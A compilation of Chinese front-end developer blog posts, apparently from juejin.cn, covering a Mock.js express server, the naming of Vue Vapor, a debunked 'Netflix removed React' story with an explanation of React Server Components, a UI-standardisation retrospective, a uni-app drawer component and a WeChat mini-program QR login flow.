const route = rurl.replace(ENV_TEST, ''); // 去掉环境前缀
// 根据请求类型(GET, POST, 等)设置路由
app[rtype.toLowerCase()](route, (req, res) => {
const data =
typeof template === 'function' ? template(req.body || {}) : template;
res.json(Mock.mock(data)); // 返回模拟数据
});
});
};
// 设置Mock API路由
setupMockRoutes();
// 启动服务器
app.listen(port, () => {
process.env.NODE_ENV = 'mock'; // 设置环境变量
console.log(`Mock 服务已启动,访问地址: http://localhost:${port}`);
});
直接在 mock 文件夹下追加这个启动文件,当你需要看 network 的时候,将环境切换为 mock 环境即可。本质是利用了 Mock._mocked
可以拿到所有注册项,并用 express 起了一个后端服务响应这些注册项来实现的。
在拥有了这个能力的基础上,我们就可以调整我们的命令
"scripts": {
"dev": "cross-env NODE_ENV=test vite",
"mock": "cross-env NODE_ENV=mock vite & node ./src/mock/app.js"
},
顺便贴一下我的 env 配置:
export const ENV_TEST = 'https://api-ai.com/fuxi';
export const ENV_MOCK = 'http://localhost:3010/';
let baseURL: string = ENV_TEST;
console.log('目前环境为:' + process.env.NODE_ENV);
switch (process.env.NODE_ENV) {
case 'mock':
baseURL = ENV_MOCK;
break;
case 'test':
baseURL = ENV_TEST;
break;
case 'production':
break;
default:
baseURL = ENV_TEST;
break;
}
export { baseURL };
这样一来,如果你需要看 network ,就 pnpm mock,如果不需要,就直接 pnpm dev,完全不需要其他心智负担。
三个字:
参数相关
具体的 api 可查阅:github.com/nuysoft/Moc… 相关的文章也非常多,就不展开说明了。
如果这篇文章对你有帮助,不妨点个赞吧~
来源:juejin.cn/post/7460091261762125865
官方回应无虚拟DOM版Vue为什么叫Vapor
相信很多人和我一样,好奇无虚拟DOM
版的Vue
为什么叫Vue Vapor
。之前看过一个很新颖的观点:Vue1
时代就没有虚拟DOM
,而那个时代恰好处于前端界的第一次工业革命,也就是以声明式代替命令式的写法。所以无虚拟DOM
版Vue让人感觉梦回Vue1
,于是就采取了Vapor
这个名字。
Vapor是蒸汽的意思,第一次工业革命开创了以机器代替手工劳动的时代,该革命以蒸汽机作为动力机被广泛使用为标志。
不过这个说法并非来自官方,虽然乍一听还挺有道理的,但总感觉官方并不一定是这么想的。事实也的确如此,在官方的Vue Conf
中,Vue Vapor
的作者出面说明了Vapor
这个名字的含义:
由于无虚拟DOM
的特性,纯Vapor
模式下可以去掉很多代码,比如VDom Diff
。所以Vue Vapor
的包体积可以做的更加的轻量化,像水蒸气一样轻。
(前面那段话是官方说的,这段话是我说的)当然不是说
Vapor
模式就不需要diff
算法了,我看过同为无虚拟DOM
框架的Svelte
和Solid
源码,无虚拟DOM
只是不需要vDom
间的Diff
算法了,列表之间还是需要diff
的。毕竟再怎么编译,你从后端获取到的数组,编译器也不可能预测得到。
那具体能轻量多少呢?官方给出的数据是比虚拟DOM
版Vue
小33.6%
:
Vapor
的名字除了想表示轻量化之外还有一个另外一个原因,那就是Solid
。可能有人会说这关Solid
什么事啊?实际上Vapor
的灵感正是来自于Solid
(尤雨溪亲口承认)而Solid
代表固体:
为了跟Solid
有个趣味联动,那无虚拟DOM
就是气体好了:
以上就是Vue Vapor
作者告诉大家为什么叫Vapor
的两大原因。
性能
之前都说虚拟DOM
是为了性能,怎么现在又反向宣传了?无虚拟DOM
怎么又逆流而上成为了性能的标杆了呢?这个话题我们留到下一篇文章去讲,本篇文章我们只看数据:
从左到右依次为:
- 原生
JS
:1.01 Solid
:1.09Svelte
:1.11- 无虚拟
DOM
版Vue
:1.24 - 虚拟
DOM
版Vue
:1.32 React
:1.55
数字越小代表性能越高,但无论再怎么高都不可能高的过手动优化过的原生JS
,毕竟无论什么框架最终打包编译出来的还是JS
。不过框架的性能其实已经挺接近原生的了,尤其是以无虚拟DOM
著称的Solid
和Svelte
。但无虚拟DOM
版Vue
和虚拟DOM
版Vue
之间并没有拉开什么很大的差距,1.24
和1.32
这两个数字证明了其实二者的性能差距并不明显,这又是怎么一回事呢?
一个原因是Vue3
本来就做了许多编译优化,包括但不限于静态提升、大段静态片段将采用innerHTML
渲染、编译时打标记以帮助虚拟DOM
走捷径等… 由于本来的性能就已经不错了,所以可提升的空间自然也没多少。
看完上述原因肯定有人会说:可提升的空间没多少可以理解,那为什么还比同为无虚拟DOM
的Solid
和Svelte
差那么多?如果Vapor
和Solid
性能差不多的话,那可提升空间小倒是说得过去。但要是像现在这样差的还挺多的话,那这个理由是不是就有点站不住脚了?之所以会出现这样的情况是因为Vue Vapor
的作者在性能优化和快速实现之间选择了后者,毕竟尤雨溪第一次公布要开始做无虚拟DOM
版Vue
的时间是在2020
年:
而如今已经是2025
年了。也就是说如果一个大一新生第一次满心欢喜的听到无虚拟DOM
版Vue
的消息后,那么他现在大概率已经开始毕业工作了都没能等到无虚拟DOM
版Vue
的发布。这个时间拖的有点太长了,甚至从Vue2
到Vue3
都没用这么久。
所以现在的首要目标是先实现出来一版能用的,后面再慢慢进行优化。我们工作不也是这样么?先优先把功能做出来,优化的事以后再说。那么具体该怎么优化呢:
现在的很多渲染逻辑继承自原版Vue3
,但无虚拟DOM
版Vue
可以采用更优的渲染逻辑。而且现在的Vapor
是跟着原版Vue
的测试集来做的,这也是为了实现和原版Vue
一样的行为。但这可能并不是最优解,之后会慢慢去掉一些不必要的功能,尤其是对性能产生较大影响的功能。
往期精彩文章:
来源:juejin.cn/post/7477104460452872202
Netflix 删除了 React ?
Netflix 删除了 React
"Netflix 删除了 React,网站加载时间减少了 50%!"
这条爆炸性新闻在推特炸开了锅。这不禁让人想起半年前"微软应该禁止所有新项目使用 React" 的新闻 - 两大科技巨头相继 "抛弃" React,难道这预示着什么?
"React 心智负担重、性能差、bundle 体积大...". 一时间,各种唱衰 React 的声音此起彼伏。有人甚至信誓旦旦地表示:"只要像 Netflix 一样干掉 React,你的网站性能立马提升 50%!"
这条发布于 2024 年 10 月 27 日的推文有着惊人的 150 万浏览量。但是,这大概率是 AI
生成的假新闻。
事实上,我们去 Netflix
的官网打开 react-devtools
,发现他们依然在使用 React
构建他们的网站。
Netflix 的真实案例
这篇 AI
生成的假新闻灵感来自 2017 年 Netflix
工程师在 hack news
上发布的一篇文章 - Netflix: Removing client-side React.js improved performance by 50%
他直接移除了这篇文章最重要的部分 - client-side React.js
, 也就是客户端的 React.js
代码。
实际的情况是,Netflix
团队在 2017 年的时候在使用 React
构建他们的 landing page
。
为什么在一个简单的 landing page
上要使用 React
呢?因为在 landing page
上
Netflix
需要处理大量的AB 测试
- 支持近 200 个国家的本地化
- 根据用户设备、地理位置等因素动态调整内容
- 需要服用现有的
React
组件
基于上述需求的考虑,Netflix
团队选择了使用 React
来构建他们的 landing page
。
为了优化页面加载性能,他们采用了服务端渲染的方案。同时,为了保证后续交互的流畅性,系统会预先加载(pre-fetch
)后续流程所需的 React/Redux
相关代码。
从架构上看,这个 landing page
本质上仍然是一个单页面应用(SPA
),保持了 SPA
快速响应的优势。不同之处在于首次访问时,页面内容是由服务端直接生成的,这样可以显著提升首屏加载速度。
这样做的缺点
显然,Netflix
在 2017 年这么做是有原因的,他们当时的确也没有更好的方案。在 2025 年的今天,
再来回顾这个方案,显然有以下缺点:
数据重复获取
在首屏渲染时,服务端需要获取数据来生成 HTML,而在客户端激活(hydration)后,为了保持交互性,往往又需要重新获取一遍相同的数据。
这种重复的数据获取不仅浪费资源,还可能带来不必要的性能开销。
客户端代码体积膨胀
因为本质上,Netflix
的 landing page
是一个还是一个 SPA
,那么不可避免的,所有可能的 UI
状态都需要打包,
即使用户只需要其中的一部分代码。例如,在一个很常见的 tabs
页面
<Tabs
defaultActiveKey="1"
items={[
{
label: 'Tab 1',
key: '1',
children: 'Tab 1',
},
{
label: 'Tab 2',
key: '2',
children: 'Tab 2',
disabled: true,
},
]}
/>
即使用户只点击了 Tab 1
, 即使 Tab 2
没有被渲染,但是 Tab 2
的代码也会被打包。
如何解决这些问题
React Server Components (RSC)
为上述问题提供了优雅的解决方案:
避免数据重复获取
使用 RSC
,组件可以直接在服务器端获取数据并渲染,客户端只接收最终的 HTML
结果。不再需要在客户端重新获取数据。
智能代码分割
RSC
允许我们选择性地决定哪些组件在服务器端运行,哪些在客户端运行。例如:
function TabContent({ tab }: { tab: string }) {
// 这部分代码只在服务器端运行,不会打包到客户端
return <div>{tab} 内容</div>
}
// 客户端组件
'use client'
function TabWrapper({ children }) {
const [activeTab, setActiveTab] = useState('1')
return (
<div>
{/* Tab 切换逻辑 */}
{children}
</div>
)
}
在这个例子中:
TabContent
的所有可能状态都在服务器端预渲染- 只有实际需要交互的
TabWrapper
会发送到客户端 - 用户获得了更小的
bundle
体积和更快的加载速度
这不就是 PHP?
经常会看到有人说:"Server Components 不就是重新发明了 PHP 吗?都是在服务端生成 HTML。"
显然,PHP 与现在的 Server Components
在开发体验上有本质的区别。
1. 细粒度的服务端-客户端混合
与 PHP 不同,RSC 允许我们在组件级别决定渲染位置,用一个购物车的例子来说明:
// 服务端组件
function ProductDetails({ id }: { id: string }) {
// 在服务器端获取数据和渲染
const product = await db.products.get(id);
return <div>{product.name}</div>;
}
// 客户端组件
'use client'
function AddToCart({ productId }: { productId: string }) {
// 在客户端处理交互
return <button onClick={() => addToCart(productId)}>加入购物车</button>;
}
// 混合使用
function ProductCard({ id }: { id: string }) {
return (
<div>
<ProductDetails id={id} />
<AddToCart productId={id} />
</div>
);
}
这种设计充分利用了服务端和客户端各自的优势 - 在服务端可以直接访问数据库获取 ProductDetails
所需的数据,而在客户端则能更好地处理 AddToCart
这样的用户交互。这不仅提升了性能,也让代码结构更加清晰合理。
2. 保持组件的可复用性
RSC
最强大的特性之一是组件的可复用性不受渲染位置的影响:
// 这个组件可以在服务端渲染
function UserProfile({ id }: { id: string }) {
return <ProfileCard id={id} />;
}
// 同样的组件也可以在客户端动态加载
'use client'
function UserList() {
const [selectedId, setSelectedId] = useState(null);
return selectedId ? <ProfileCard id={selectedId} /> : null;
}
因为都是 React
组件,区别仅仅是渲染位置的不同,同一个组件可以:
- 在服务端预渲染时使用
- 在客户端动态加载时使用
- 在流式渲染中使用
这种统一的组件模型是 PHP 等传统服务端渲染所不具备的。
3. 智能的序列化
RSC
还提供了智能的序列化机制,可以自动将组件的 props
和 state
序列化,从而在服务端和客户端之间传递。
避免了重复获取数据的问题。
// 服务端组件
async function Comments({ postId }: { postId: string }) {
// 1. 获取评论数据
const comments = await db.comments.list(postId);
// 2. 传递给客户端组件
return <CommentList initialComments={comments} />;
}
// 客户端组件
'use client'
function CommentList({ initialComments }) {
// 3. 直接使用服务端数据,无需重新请求
const [comments, setComments] = useState(initialComments);
return (
// 渲染评论列表
);
}
4. 渐进式增强
RSC
还提供了渐进式增强的能力,可以在服务端和客户端之间无缝过渡。
- 首次访问时返回完整的 HTML
- 按需加载客户端交互代码
- 保持应用的可访问性
这让我们能够构建既有良好首屏体验,又能提供丰富交互的现代应用,完美解决了在 2017 年 Netflix
所提出的问题。
总结
通过对上面这些案例的分析,我们可以看出
1. 不要轻信网络传言
网络上充斥着各种技术传言。虽然像上面这种完全虚构的假新闻容易识破,但有些传言会巧妙地利用真实数据和案例,通过夸张的描述来误导技术选型和决策,这类信息需要我们格外谨慎分辨。
例如:
svelte 放弃 TypeScript 改用 JSdoc 进行类型检查
这个确实是一个真的新闻,但是并不代表着 Typescript
的没落,实际上
- Svelte 团队选择 JSDoc 是为了减少编译时间
- 这是针对框架源码的优化,而不是面向使用者的建议
- Svelte 依然完整支持 TypeScript,用户代码可以继续使用 .ts/.ts
tauri 打包后的体积比 electron 小多了,我们应该放弃 electron 使用 tauri
技术选型不能仅仅看单一指标。虽然 tauri
的打包体积确实小于 electron
,但在开发体验、性能、稳定性、生态和社区支持等关键维度上都存在明显短板。
如果你尝试用 tauri
开发复杂应用,很可能会因为生态不完善、社区支持不足而陷入困境。当你遇到问题去 GitHub
寻找解决方案时,看到许多库已经一年未更新,就会明白为什么大多数团队仍在选择 electron
。
2. 历史的选择
2017 年的 Netflix 面临着复杂的业务需求,他们选择了当时最佳的解决方案 - 服务端渲染 + 客户端激活。这个方案虽然解决了问题,但也带来了一些困扰:
- 数据需要在服务端和客户端重复获取
- JavaScript bundle 体积过大
3. RSC 带来的改变
React Server Components
为这些历史遗留问题带来了全新的解决思路:
- 服务端渲染与客户端渲染完美融合
- 智能的代码分割,最小化客户端 bundle 体积
- 数据获取更高效,避免重复请求
- 渐进式增强,提供流畅的用户体验
4. 技术演进的启示
从 Netflix
2017 年的实践到今天的 RSC
,我们可以看到:
- 技术方案在不断进化,过去的最佳实践可能已不再适用
- RSC 不是简单的"回归服务端",而是开创了全新的开发模式
- 性能与开发体验不再是非此即彼的选择
RSC
代表了现代前端开发的新趋势 - 既保持了 React
强大的组件化能力,又通过创新的架构设计解决了历史难题。这让我们终于可以在性能和开发体验之间找到完美平衡。
来源:juejin.cn/post/7459029441039794211
一次失败的UI规范制定
前言
在公司中,前端使用了统一的组件element-ui,但是有一些页面大家并没有达成共识,造成了不同的团队开发出来的页面不同,公司决定在24年8月的迭代进行统一调整。在这个中间,我遇到了很多意料之外的问题,希望未来的你遇到了类似的问题,可以尽量避免
为什么会产生这个问题
这个问题我也思考过,大概有以下原因
- 我们有4个产品经理,每个人负责不同的模块,都有各自的风格,造成页面不统一
- 没有一个严格的UI规范,前端开发和测试并没有一个可以参考标准页面
- 22年至今,项目都在疯狂的迭代功能,并没有人停下来看看之前做的功能有哪些问题,我们该怎么去优化
项目背景
参与人:UI设计师、前端开发、产品(主要负责审核,并没参与讨论)、测试
牵头人:UI设计师
职责:找出问题点,整理为在线文档
解决者:前端
职责:整理问题点、改公告组件、输出文档
主要问题如下
- 弹窗(Dialog)组件大小不一。宽度有400px、700px、800px、940px、1250px、50%、60%等,用户在操作的时候,会感觉到页面时大时小,不统一
- 表格样式很多(Table)。搜索的列未对齐、分页码数未统一、表格后的操作栏千奇百怪、表头的标题有的进行了换行等
- 颜色的乱用。颜色有很多,有各种颜色的红色
- 弹窗表单的按钮位置不同。有的取消在左,有的取消在右面。
- 等等一些小问题就不一一列举了
弹窗组件大小不一
弹窗大小不统一部分截图
800px
600px
1180px
解决方案
我们在私服中clone了一份element-ui,直接修改了源码
默认制定了三个尺寸的size,small(600px), medium(900px),large(1200px),满足基本的需求。当需要支持特殊组件的时候,也可以直接设置Width满足需求
表格不统一
部分截图
上方的截图有几个问题
- 搜索条件(查找人员)没有和新增按钮对齐
- 离职和删除的按钮是比较敏感的操作,但是夹在了一堆按钮中间
- 操作按钮有的有icon,有的没icon,看着些许的混乱
进行修改后效果如下,页面看着更加的工整
解决方案如下
- 搜索条件的第一个在组件内直接进行计算宽度,防止业务端进行二次修改,如果是自定义的搜索条件,并且设置了宽度,需要手动进行修改
- 一些危险的操作:比如离职、删除统一放在最后,并且每个操作按钮都要有icon
表格按钮的调整
调整前
调整后
解决方案如下
表格后的按钮去除所有的icon,直接在组件内进行拦截,默认展示三个按钮,多余的放在dropDown内,当然也支持业务端设置显示几个按钮
核心部分代码如下
分页数据不统一
调整前
调整后
解决方案
分页条数统一改为(20,50,100)
考虑的因素为:之前的页面有15一页的。当页面过高的时候,会撑不满一个页面,造成table的页面空白,不太美观
弹窗中,下方的操作栏的按钮位置不统一
调整前
调整后
解决方案
所有的按钮都是取消在左,保存在右面,同时,confirm组件,在element-ui的代码中直接修改调整位置,减少业务端工作量
颜色的乱用
部分截图
解决方案
在主应用的根节点 使用css变量,在每个子应用的页面直接使用根节点的样式,避免子应用的颜色出现各种奇奇怪怪的颜色。
使用的地方
等等
当然还有一些基础颜色的修改、按钮最小宽度的修改、一些表格间距的调整等。这些和设计师、产品达成共识后,进行修改就行了,也就不一一列举了
交付给测试
- 我这边开发的差不多了,输出了一个文档,别的前端开发按照着文档进行开发。
- 测试按照文档进行编写测试用例
不好搞了
测试这边疯狂提bug。
还有一个小小的背景
测试这边其实是有一个绩效考核:bug提的越多,绩效越高
但是,我们这边项目上线的时候,其实还有一个要求,bug不能超过9个
这个UI规范制定,到这个功能的提测,只有10天就项目上线了。
有的功能并没有做,但是测试觉得不合理,就提了这个bug(比如表单的label也没有对齐,但是这个迭代并没有去做修复),造成我们前端开发这边bug超级多
同时,开发这边也会有绩效考核,bug越多绩效就会越低,会扣除工资,大家心态崩溃了,改的速度根本赶不上提的速度。
当然,也有部分功能是我这边测试不充分,造成业务端不好去实现
找领导协助
这个过程是个很折磨人的过程, 开发同事在抱怨测试乱提、测试也在提本次优化范围外的bug,内心也很着急
- 重新定义了测试的范围,超过范围的问题可以先记着,不再提bug,方便后续进行修改
- 前端开发的bug都先指派给我,我看看能否从底层解决,我解决后再转给研发经理(研发经理没有此项的考核),当底层解决不了,业务端解决后,也指派给我,这样前端的开发就没有这么暴躁了
如果再来一次UI规范的升级我会怎么做
- 先在每个团队中找一个人配合我,先升级页面后,进行灰度测试
- 在决定我们这个页面要成什么样子的时候,一定要拉上产品。设计师在做设计稿的时候,虽然每次都说了找产品的领导确认过了,但是领导还是比较忙, 并没有很多精力来做这件事情,可以找他们组内的一个资历比较深的产品一起讨论下。开发、UI设计师站的角度不同,一定要需要产品来参与讨论,做的页面才会更加的易用
- 限制测试的范围。 测试测着测试着会发散思维,导致改不完的bug,最终会导致开发没有了心态
- UI标准的功能,越早出来越好,越大后期需要投入的人力越多
来源:juejin.cn/post/7456685819047608355
uni-app 实现好看易用的抽屉效果
往期文章推荐:
一. 前言
我之前使用 uni-app
和 uniCloud
开发了一款软考刷题应用,在这个应用中,我使用了抽屉组件来实现一些功能,切换题库,如下图所示:
在移动应用开发中,抽屉(Drawer
)是一种常见的界面设计模式,这个组件可以在需要侧边导航或者额外信息展示的地方使用。它允许用户通过侧滑的效果打开一个菜单或额外的内容区域。
这种设计不仅能够节省屏幕空间,还能提供一种直观的交互方式。
例如,在电商应用中,可以将购物车或分类列表放在抽屉里;在新闻阅读器中,可以放置频道选择等;而在有题记刷题软件中,我主要用于题库的选择功能。
本文将介绍如何使用 uni-app 框架来实现一个简单的抽屉组件:DrawerWindow
。文末提供完整的代码示例,让你能够轻松地在 uni-app 中实现抽屉效果。
二. 实现分析
Vue 组件的结构通常由三个主要部分组成:模板(<template>
)、脚本(<script>
)和样式(<style>
),标准的的单文件组件(SFC
)结构。
uni-app 也是如此,在这个组件中,我们也将使用 Vue 的单文件组件(SFC
)结构,这意味着我们将在一个 .vue
文件中同时包含模板、脚本和样式。
接下来我们按照这个格式来简单实现一下。
1. 模板页面 (<template>
)
首先,模版页面是很简单的部分,我们需要创建一个基础的 Vue 组件,该组件包含了主页面、抽屉内容和关闭按钮三个部分。以下是组件的模板代码:
<template>
<view class="drawer-window-wrap">
<scroll-view scroll-y class="DrawerPage" :class="{ show: modalName === 'viewModal' }">
<!-- 主页面 -->
<slot></slot>
</scroll-view>
<!-- 关闭抽屉 -->
<view class="DrawerClose" :class="{ show: modalName === 'viewModal' }" @tap="hide">
<u-icon name="backspace"></u-icon>
</view>
<!-- 抽屉页面 -->
<scroll-view scroll-y class="DrawerWindow" :class="{ show: modalName === 'viewModal' }">
<slot name="drawer"></slot>
</scroll-view>
</view>
</template>
在模板部分,我们主要定义了三个主要元素:主页面、关闭按钮和抽屉页面。每个元素都有一个class
绑定,这个绑定会根据 modalName
的状态来决定是否添加 .show
类。
- 主页面 (
<scroll-view class="DrawerPage">
):
- 这个滚动视图代表应用的主要内容区域。
- 当抽屉打开时,它会被缩小并移向屏幕右侧。
- 提供默认插槽
<slot></slot>
,允许父组件传递自定义内容到这个位置。
- 关闭按钮 (
<view class="DrawerClose">
):
- 位于屏幕右侧的一个透明背景层,当点击时触发
hide()
方法来关闭抽屉。 - 包含了一个图标
<u-icon name="backspace"></u-icon>
,这里使用的是 uView UI 库中的图标组件。你可以选用其他组件库里的图标或者图片。
- 位于屏幕右侧的一个透明背景层,当点击时触发
- 抽屉页面 (
<scroll-view class="DrawerWindow">
):
- 这是抽屉本身的内容区域,通常包含菜单或其他附加信息。
- 同样地,定义特有的插槽名称,
<slot name="drawer"></slot>
允许从外部插入特定的内容。 - 抽屉默认是隐藏的,并且当显示时会有动画效果。
在这里,我们主要使用了 <slot>
元素来定义可以插入自定义内容的位置。modalName
属性用来控制抽屉的状态。
2. 逻辑处理 (<script>
)
接下来,逻辑处理其实也很简单,主要会定义打开和关闭抽屉的方法:
<script>
export default {
data() {
return {
modalName: null
}
},
methods: {
// 打开抽屉
show() {
this.modalName = 'viewModal';
},
// 关闭抽屉
hide() {
this.modalName = null;
}
}
}
</script>
- 数据 (
data
):
modalName
: 用于控制抽屉状态的数据属性。当它的值为'viewModal'
时,表示抽屉处于打开状态;否则,抽屉是关闭的。
- 方法 (
methods
):
show()
: 将modalName
设置为'viewModal'
,从而通过 CSS 样式控制抽屉显示。hide()
: 将modalName
重置为null
,控制抽屉隐藏。
当调用 show()
方法时,modalName
被设置为 'viewModal'
,这会触发 CSS 中的 .show
类,从而显示抽屉;反之,调用 hide()
方法则会隐藏抽屉。
3. 样式设计 (<style>
)
在这个组件中,其实要做好的在样式部分,主要是显示抽屉的动画部分。在主页面,我们主要定义了三个主要的样式类:主页面、关闭按钮和抽屉页面。
- 主页面样式 (
DrawerPage
):
- 初始状态下占据整个屏幕宽度和高度。
- 当抽屉打开时(即有
.show
类),页面会缩小并移动到屏幕右侧 85%的位置,同时增加阴影效果以模拟深度。
- 关闭按钮样式 (
DrawerClose
):
- 默认情况下是不可见且不响应用户交互的。
- 当抽屉打开时,按钮变为可见并可点击,提供了一种关闭抽屉的方式。
- 抽屉页面样式 (
DrawerWindow
):
- 初始状态下位于屏幕左侧外侧,不显示也不响应交互。
- 当抽屉打开时,抽屉平滑滑入屏幕内,变得完全可见且可以与用户互动。
- 动画与过渡
- 所有的
.show
类都带有transition: all 0.4s;
,这使得任何属性的变化都会有一个 0.4 秒的平滑过渡效果。 - 抽屉和主页面的
transform
属性被用来控制它们的位置和大小变化。 opacity
和pointer-events
属性确保在不需要时抽屉不会影响用户的操作。
- 所有的
如下代码所示,我们主要添加一些 CSS 样式来实现平滑的过渡效果以及视觉上的美观:
<style lang="scss">
// 省略其他样式...
.DrawerPage.show,
.DrawerWindow.show,
.DrawerClose.show {
transition: all 0.4s;
}
.DrawerPage.show {
transform: scale(0.9, 0.9) translateX(85vw);
box-shadow: 0 0 60rpx rgba(0, 0, 0, 0.2);
}
.DrawerWindow.show {
transform: scale(1, 1) translateX(0%);
opacity: 1;
pointer-events: all;
}
.DrawerClose.show {
width: 15vw;
color: #fff;
opacity: 1;
pointer-events: all;
}
</style>
以上的这些样式确保了当抽屉显示或隐藏时有流畅的动画效果,并且在不需要的时候不会影响用户的交互。
三. 完整代码
1. 完整抽屉组件,复制可使用
<template>
<view class="drawer-window-wrap">
<scroll-view scroll-y class="DrawerPage" :class="modalName == 'viewModal' ? 'show' : ''">
<!-- 主页面 -->
<slot></slot>
</scroll-view>
<!-- 关闭抽屉 -->
<view class="DrawerClose" :class="modalName == 'viewModal' ? 'show' : ''" @tap="hide()">
<u-icon name="backspace"></u-icon>
</view>
<!-- 抽屉页面 -->
<scroll-view scroll-y class="DrawerWindow" :class="modalName == 'viewModal' ? 'show' : ''">
<slot name="drawer"></slot>
</scroll-view>
</view>
</template>
<script>
export default {
data() {
return {
modalName: null
}
},
methods: {
// 打开抽屉
show() {
this.modalName = 'viewModal'
},
// 关闭抽屉
hide() {
this.modalName = null
}
}
}
</script>
<style lang="scss">
page {
width: 100vw;
overflow: hidden !important;
}
.DrawerPage {
position: fixed;
width: 100vw;
height: 100vh;
left: 0vw;
background-color: #f1f1f1;
transition: all 0.4s;
}
.DrawerPage.show {
transform: scale(0.9, 0.9);
left: 85vw;
box-shadow: 0 0 60rpx rgba(0, 0, 0, 0.2);
transform-origin: 0;
}
.DrawerWindow {
position: absolute;
width: 85vw;
height: 100vh;
left: 0;
top: 0;
transform: scale(0.9, 0.9) translateX(-100%);
opacity: 0;
pointer-events: none;
transition: all 0.4s;
background-image: linear-gradient(45deg, #1cbbb4, #2979ff) !important;
}
.DrawerWindow.show {
transform: scale(1, 1) translateX(0%);
opacity: 1;
pointer-events: all;
}
.DrawerClose {
position: absolute;
width: 40vw;
height: 100vh;
right: 0;
top: 0;
color: transparent;
padding-bottom: 50rpx;
display: flex;
align-items: flex-end;
justify-content: center;
background-image: linear-gradient(90deg, rgba(0, 0, 0, 0.01), rgba(0, 0, 0, 0.6));
letter-spacing: 5px;
font-size: 50rpx;
opacity: 0;
pointer-events: none;
transition: all 0.4s;
}
.DrawerClose.show {
opacity: 1;
pointer-events: all;
width: 15vw;
color: #fff;
}
</style>
2. 在父组件中使用抽屉组件
在父组件中,可以通过以下简单的代码使用它,你可以继续进行丰富:
<template>
<drawer-window ref="drawerWindow">
<view class="main-container" @click="$refs.drawerWindow.show()">
主页面,点击打开抽屉
</view>
<view slot="drawer" class="drawer-container"> 抽屉页面 </view>
</drawer-window>
</template>
<script>
export default {}
</script>
<style lang="scss" scoped>
.main-container,
.drawer-container {
font-weight: 700;
font-size: 20px;
text-align: center;
color: #333;
padding-top: 100px;
}
</style>
以上代码的实现效果如下图所示:
四. 小程序体验
以上的组件,来源于我独立开发的软考刷题小程序中的效果,想要体验或软考刷题的掘友可以参考以下文章,文末获取:
五. 结语
通过以上步骤,我们已经构建了一个基本的抽屉组件。当然,你也可以根据具体的应用场景对这个组件进行进一步的定制和优化。
来源:juejin.cn/post/7417374536670707727
个人或个体户,如何免费使用微信小程序授权登录
需求
个人或个体户,如何免费使用微信小程序授权,快速登录进系统内部?
微信授权登录好处:
- 不用自己开发一个登录模块,节省开发和维护成本
- 安全性得到了保障,安全验证完全交由腾讯验证,超级可靠哇
可能有的人会问,为何不用微信公众号授权登录?原因很简单,因为一年要300元,小公司得省钱啊!
实现步骤说明
所有的步骤里包含四个对象,分别是本地后台
、本地微信小程序
、本地网页
、以及第三方微信后台
本地后台
调用微信后台
的https://api.weixin.qq.com/cgi-bin/token
接口,get
请求,拿到返回的access_token
;本地后台
根据拿到的access_token
,调用微信后台
的https://api.weixin.qq.com/wxa/getwxacodeunlimit
接口,得到二维码图片文件,将其输出传递给本地网页
显示本地微信小程序
扫本地网页
的二维码图片,跳转至小程序登录页面,通过wx.login
方法,在success
回调函数内得到code
值,并将该值传递给本地后台
本地后台
拿到code
值后,调用微信后台
的https://api.weixin.qq.com/sns/jscode2session
接口,get
请求,得到用户登录的openid
即可。
注意点:
- 上面三个微信接口
/cgi-bin/token
、/getwxacodeunlimit
、/jscode2session
必须由本地后台
调用,微信小程序那边做了前端限制;
本地网页
如何得知本地微信小程序
已扫码呢?
本地微信小程序
将code
,通过A接口
,将值传给后台,后台拿到openid
后,再将成功结果返回给本地微信小程序
;同时,本地网页
不断地轮询A接口
,等待后台拿到openid
后,便显示登录成功页面。
微信小程序核心代码
Page({
data: {
theme: wx.getSystemInfoSync().theme,
scene: "",
jsCode: "",
isLogin: false,
loginSuccess: false,
isChecked: false,
},
onLoad(options) {
const that = this;
wx.onThemeChange((result) => {
that.setData({
theme: result.theme,
});
});
if (options !== undefined) {
if (options.scene) {
wx.login({
success(res) {
if (res.code) {
that.setData({
scene: decodeURIComponent(options.scene),
jsCode: res.code,
});
}
},
});
}
}
},
handleChange(e) {
this.setData({
isChecked: Boolean(e.detail.value[0]),
});
},
formitForm() {
const that = this;
if (!this.data.jsCode) {
wx.showToast({
icon: "none",
title: "尚未微信登录",
});
return;
}
if (!this.data.isChecked) {
wx.showToast({
icon: "none",
title: "请先勾选同意用户协议",
});
return;
}
wx.showLoading({
title: "正在加载",
});
let currentTimestamp = Date.now();
let nonce = randomString();
wx.request({
url: `A接口?scene=${that.data.scene}&js_code=${that.data.jsCode}`,
header: {},
method: "POST",
success(res) {
wx.hideLoading();
that.setData({
isLogin: true,
});
if (res.statusCode == 200) {
that.setData({
loginSuccess: true,
});
} else {
if (res.statusCode == 400) {
wx.showToast({
icon: "none",
title: "无效请求",
});
} else if (res.statusCode == 500) {
wx.showToast({
icon: "none",
title: "服务内部错误",
});
}
that.setData({
loginSuccess: false,
});
}
},
fail: function (e) {
wx.hideLoading();
wx.showToast({
icon: "none",
title: e,
});
},
});
},
});
scene
为随机生成的8位数字
本地网页核心代码
let isInit = true
function loginWx() {
isInit = false
refreshQrcode()
}
function refreshQrcode() {
showQrLoading = true
showInfo = false
api.get('/qrcode').then(qRes => {
if (qRes.status == 200) {
imgSrc = `${BASE_URL}${qRes.data}`
pollingCount = 0
startPolling()
} else {
showToast = true
toastMsg = '二维码获取失败,请点击刷新重试'
showInfo = true
}
}).finally(() => {
showQrLoading = false
})
}
// 开始轮询
// 1000毫秒轮询一次
function startPolling() {
pollingInterval = setInterval(function () {
pollDatabase()
}, 1000)
}
function pollDatabase() {
if (pollingCount >= maxPollingCount) {
clearInterval(pollingInterval)
showToast = true
toastMsg = '二维码已失效,请刷新'
showInfo = true
return
}
pollingCount++
api.get('/result').then(res => {
if (res.status == 200) {
clearInterval(pollingInterval)
navigate('/os', { replace: true })
} else if (res.status == 408) {
clearInterval(pollingInterval)
showToast = true
toastMsg = '二维码已失效,请刷新'
showInfo = true
}
})
}
html的部分代码如下所示
<button class="btn" on:click={loginWx}>微信登录</button>
<div id="qrcode" class="relative mt-10">
{#if imgSrc}
<img src={imgSrc} alt="二维码图片"/>
{/if}
{#if showQrLoading}
<div class="mask absolute top-0 left-0 w-full h-full z-10">
<Loading height="12" width="12"/>
</div>
{/if}
</div>
尾声
若需要完整代码,或想知道如何申请微信小程序
,欢迎大家关注或私信我哦~~
附上网页微信授权登录动画、以及小程序登录成功后的截图
来源:juejin.cn/post/7351649413401493556
基于uniapp带你实现了一个好看的轮播图组件
背景
最近,朋友说在做uniapp
